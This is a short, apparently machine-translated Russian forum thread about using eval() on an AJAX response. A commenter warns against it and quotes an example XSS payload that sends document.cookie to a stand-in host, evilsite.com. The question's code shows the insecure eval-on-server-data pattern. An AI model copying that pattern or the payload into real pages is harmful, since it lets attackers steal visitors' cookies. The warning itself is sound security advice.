Вот это проблема строка:Оценить строку в качестве объекта (JavaScript)
$.ajax(......
,success:function(msg){
var obj = eval('['+msg.d+']');
},
....
}
msg.d
содержит что-то вроде:
new Person(2, 'Name Surname','This is just string came from Par'is at Sat'urday');
Как передать яваскрипт проблемы?
'eval()' is 'EVIL'. 'eval()' будет оценивать ВСЕ в строке, будь то хорошо или нет, в зависимости от того, откуда вы кормите данные Person, вы можете столкнуться с большой проблемой безопасности в будущем. Если пользователю удастся прокрасть что-то вроде «new Image(). Src = 'http://evilsite.com/steal?c=' + document.cookie" 'как фамилия в вашу базу данных, ваша страница будет по-прежнему работать отлично штраф, только 2 вещи будут отличаться 1. Фамилия будет пустой и 2. cookie посетителя посетителя будет только украден. Пожалуйста, загляните в JSON, чтобы вы могли безопасно передавать данные клиенту без риска eval –
, вызов Ajax не делает предположение о типе данных, возвращаемых скриптом на стороне сервера, поэтому msg - это только строка, а строка doesn ' t имеет свойство 'd'. – dvhh